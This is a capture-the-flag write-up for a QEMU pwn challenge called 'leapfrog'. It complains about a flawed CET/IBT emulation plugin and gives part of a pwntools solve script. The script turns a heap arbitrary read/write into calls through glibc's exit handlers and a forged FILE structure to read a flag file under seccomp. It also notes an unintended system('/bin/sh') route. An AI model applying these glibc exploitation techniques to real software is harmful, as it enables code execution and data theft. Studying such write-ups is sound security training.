/..

#CONTENT

#TOP

#leapfrog

nc 0.cloud.chals.io 33799

ROP/JOP are dead, long live code reuse attacks!

LMS <-     author pwn <-   category 500ish <-     points idr <-     solves hard <- difficulty

This writeup is not going to be very in depth, mostly because I want to complain about the cet/ibt plugin that the author decided to use.

#broken plugin

The plugin provides shadow stack tracking and ibt endbr64/endbr32 enforcement, however does not implement any of the associated cpu instructions that are needed for applications to use them properly. cpuid does not report cet or ibt, causing the setcontext code inside the glibc to break because it thinks shadow stack is off. This is VERY annoying and the plugin author should have done their due diligence to properly read the intel manuals and implement the features properly.

All that aside the plugin works fine (except ibt is always on and doesnt respect the disabling instructions, oh and shadow stack is also always on, and none of the shadow stack manipulation instructions have been implemented). It works fine...

#solution

ANYWAYS my solution involved using the arbitrary read/write from the heapnote interface part of the challenge to call arbitrary functions in libc via the exit_functions list that are invoked during exit. Using the registered destructors gives single argument control, and with seccomp enabled we have to employ some tricks to perform the normal open/read/write with single argument control.

solve.py
PY
filename = libcbase + libc.bss()
arbwrite(filename, b"/flag.txt")

contents = libcbase + libc.bss(0x200)

fakefile = libcbase + libc.bss(0x100)
mask = (1 << 64) - 1
payload = FileStructure()
payload.flags = 0xfbad2488
payload._IO_read_ptr = contents + 0x1000
payload._IO_read_end = contents + 0x1000
payload._IO_read_base = contents
payload._IO_write_base = contents
payload._IO_write_ptr = contents
payload._IO_write_end = contents
payload._IO_buf_base = contents
payload._IO_buf_end = contents + 0x1000
payload.fileno = 3
payload._offset = mask
payload._old_offset = 0
payload._lock = libcbase + libc.sym._IO_stdfile_0_lock
payload._wide_data = libcbase + libc.sym._IO_wide_data_0
payload.vtable = libcbase + libc.sym._IO_file_jumps
payload = bytearray(bytes(payload))
payload[192:196] = p32(0xffffffff)
arbwrite(fakefile, bytes(payload))

log.info(f"{fakefile = :#x}")
log.info(f"{contents = :#x}")
log.info(f"{libcbase + libc.sym.fgetc = :#x}")
log.info(f"{libcbase + libc.sym.open = :#x}")

funcs = [
    func(4, libcbase + libc.sym.open, filename),
    func(4, libcbase + libc.sym.fgetc, fakefile),
    func(4, libcbase + libc.sym.puts, contents + 1),
    func(4, libcbase + libc.sym.sleep, 8)
]

The solution involves opening the flag file to obtain a file descriptor, then faking a FILE structure with a hardcoded file descriptor (since you do not know which file descriptor is opened on remote you do some bruting, but its very small) to read the flag file into the FILE buffer. After being read into the buffer its simple to output the flag.

#unintended

Turns out qemu does not implement seccomp, so as soon as you achieved arbitrary read/write you could just call system("/bin/sh") and be done...